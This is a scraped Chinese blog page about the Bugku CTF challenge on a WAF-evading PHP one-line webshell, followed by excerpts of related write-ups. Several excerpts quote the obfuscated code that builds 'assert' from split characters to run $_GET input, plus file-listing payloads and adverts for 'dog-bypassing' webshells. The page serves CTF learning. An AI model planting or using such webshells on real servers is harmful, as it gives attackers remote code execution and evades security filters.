bugku 过狗一句话

最新推荐文章于 2021-08-08 16:43:46 发布
最新推荐文章于 2021-08-08 16:43:46 发布
阅读量756 收藏
点赞数
分类专栏： 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zyl_wjl_1413/article/details/83994593
版权

分析

题目

根据提示，分析得关键在于assert()，查资料得assert()用于调试，跟eval()差不多，但是eval()只能执行符合php编码规范的$code_str

解题

构造payload

#Super Pig
关注
专栏目录
BugkuCTF练习题解——Web一
qq_41739275的博客
08-24 6693
文章目录1.Web22.计算器3.Web基础$_GET4.Web基础$_POST5.矛盾6.Web37.域名解析8.你必须让他停下9.本地包含10.变量111.Web512.头等舱13.网站被黑14.管理员系统15.Web416.flag在index中17.输入密码查看flag18.点击100万次19.备份是个好习惯 1.Web2 打开链接之后是滑稽笑脸，好家伙，吓我一跳，还以为是大bug，然后也没有提示啥的 感觉有点无从下手？？？别急，打开页面源代码（检查元素也可）瞅瞅 注释部分就是flag了。 2.
Bugku WEB shell
qq_41696858的博客
07-03 2159
1.打开场景，啥有没有，常规操作：查看源码，扫路径，抓包也是啥也没有 2.查看作者提示，送给大家一个过狗一句话 $poc=“a#s#s#e#r#t”; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) 其实就是运用拼接过waf，最后的运行结果是assert($_GET[‘s’]) 很明显assert是能执行shell命令的危险
最新过安全狗一句话
10-14
最新过安全狗一句话
过狗一句话 -Bugku
j7ur8
06-21 1129
搜索到的几种解法：    1. s=print_r(scandir('./')) 然后读取flag.txt    2. s=print_r(glob("*.*")) 然后读取show_source(flag.txt)    3. 使用flag_get_contents(flag.txt)读取文件    eg: 还有system('ls')的读取方法但是这里应该没有权限....
bugku：过狗一句话
wssmiss的博客
04-16 357
题目 php代码 explode(a,b，c):把字符串打散为数组,a为分隔符且不为空，b为待打散的字符,c规定所返回的数组元素的数目 0代表返回博阿寒一个元素的数组，大于0返回包含最多c个元素的数组。小于0，返回包含除最后的limit个元素意外的所有元素的数组 代码poc_1是一个数组有a，s，s，e，r，t五个元素 poc_2是assert函数 对传入的s进行操作 注：函数assert是检...
过狗一句话（bugku）
hhh
10-20 1235
       昨天写了个关于一句话木马的题，今天上午百度了一个上午理解一句话木马，感jio还是有点懵逼，于是想写一下题来理解一下下……不过虽然这道题题目叫过狗一句话，但似乎跟我想象的不大一样emmmmm ----------------------------------------------------------不废话不废话----------------------我是分割线分割线---...
Bugku web 过狗一句话
Amire0x的小乐园
05-05 334
学到了以前不知道的新东西 题目链接 直接看代码 explode（）：使用一个字符串分割整个字符串，并返回由字符串组成的数组。 assert（）：把字符串按照php代码来执行。 这样一来$poc_2就是assert， 即现在的结果是assert($_GET['s']) 这下就可以估计flag应该是藏在某个文件里了 于是用到一个扫描目录的函数 scandir()列出指定路径中的文件和目录 glob()...
BugKu Web（26-35）
kid的博客
09-11 1017
BugKu Web（26-35） 前言 发现以前做了几道题，然后凑成了10道写一下。确实做起来会发现和比赛的题相比质量还是要差很多。 但对于我这样的菜鸟拿来练习打打基础还是可以的 题目 过狗一句话 可以看到提示，给了一个一句话马，简化一下就是assert($_GET[‘s’])这么一个一句话 assert没怎么用过… 查了下可以用下面的函数来搜寻目录 scandir() //作用能扫描文...
CTF|BugkuCTF-WEB解题思路
这里是一处长期不更新的博客
06-15 2027
截止至练习题【login4】，仅提供解题思路。 WEB2 按F12直接可得flag 计算器： 直接按F12，将maxlength修改，输入正确结果即可得到flag web基础$_GET URL输入：http://123.206.87.240:8002/get/?what=flag web基础$_POST 使用hackbar工具，按F12，打开Post data，传递what=flag。 矛盾 这里是使用is_numeric遇到%00截断的漏洞,这里构造 http://120.24.86.145:8002.
Bugku解题 web (三)
weixin_46703850的博客
03-28 1017
Bugku解题 web18.web1319.web1420.web1521.web1622.No one knows regex better than me23.web20 介绍:记录解题过程 18.web13 描述: 看看源代码？ <html> <title>BUGKUCTF-WEB13</title> <body> <div style="display:none;"></div> <form action="inde
2015年最新的过狗一句话大马
12-26
2015年最新的过狗一句话大马
过安全狗的aspx一句话webshell
02-08
过安全狗的aspx一句话webshell 纯CS模式，经典免杀
【bugkuctf】过狗一句话 writeup
lansefly1990的专栏
10-02 1282
过狗一句话 &lt;?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?&gt; 用assert执行任意代码  payload：http://120.24.86.145:...
bugku 过狗一句话
weixin_30539835的博客
04-27 199
用php的系统函数，突破低权限。 题目来自于bugku的"过狗一句话"，这道题目有接近2100人做出来，可是网上的wp并没有给出确切的原理，所以在此借这一道题目，抛砖引入。 题目地址 一丶代码和分析 <?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); //explode()把"a#s#s#e#r#t"去掉变为a...
Bugku-CTF-shell-过狗一句话
kaixinXQ的博客
08-08 449
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) 点击题目： 读取PHP下面的文件： print_r(scandir($dir))，还可以利用print_r(glob("*.*")) 访问txt文件：http://114.67.246.176:16100/.
【bugku】过狗一句话 writeup
perye
02-27 7874
过狗一句话题目提示里的php代码拿下来&lt;?php $poc = "a#s#s#e#r#t"; $poc_1 = explode("#", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5]; $poc_2($_GET['s']) ?&gt;12345用assert执行任意代...
过狗一句话
xyx107的博客
04-27 1076
题意大致为网站含有一句话漏洞，可以利用这个漏洞得到flag； 1.PHP explode(),此函数可以将字符串打散为数组 如：$str = "i love flag !"; print_r(explode(" ",$str)); 输出为：Array([0]=>i[1]=>love[2]=>flag[3]=>!); 按照“ ”引号内（即separ...
过狗的一句话
qq_41814777的博客
10-20 1009
php过狗一句话： waf通常以关键字来判断是否是一句话木马。 <?php $test="e#v#a#l"; $test1=explode("#",$test); $test2=$test1[0].$test1[1].$test1[2].$test1[3]; $test2($_POST['zt']); ?> 这是eval函数的一句话的写法 <?...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值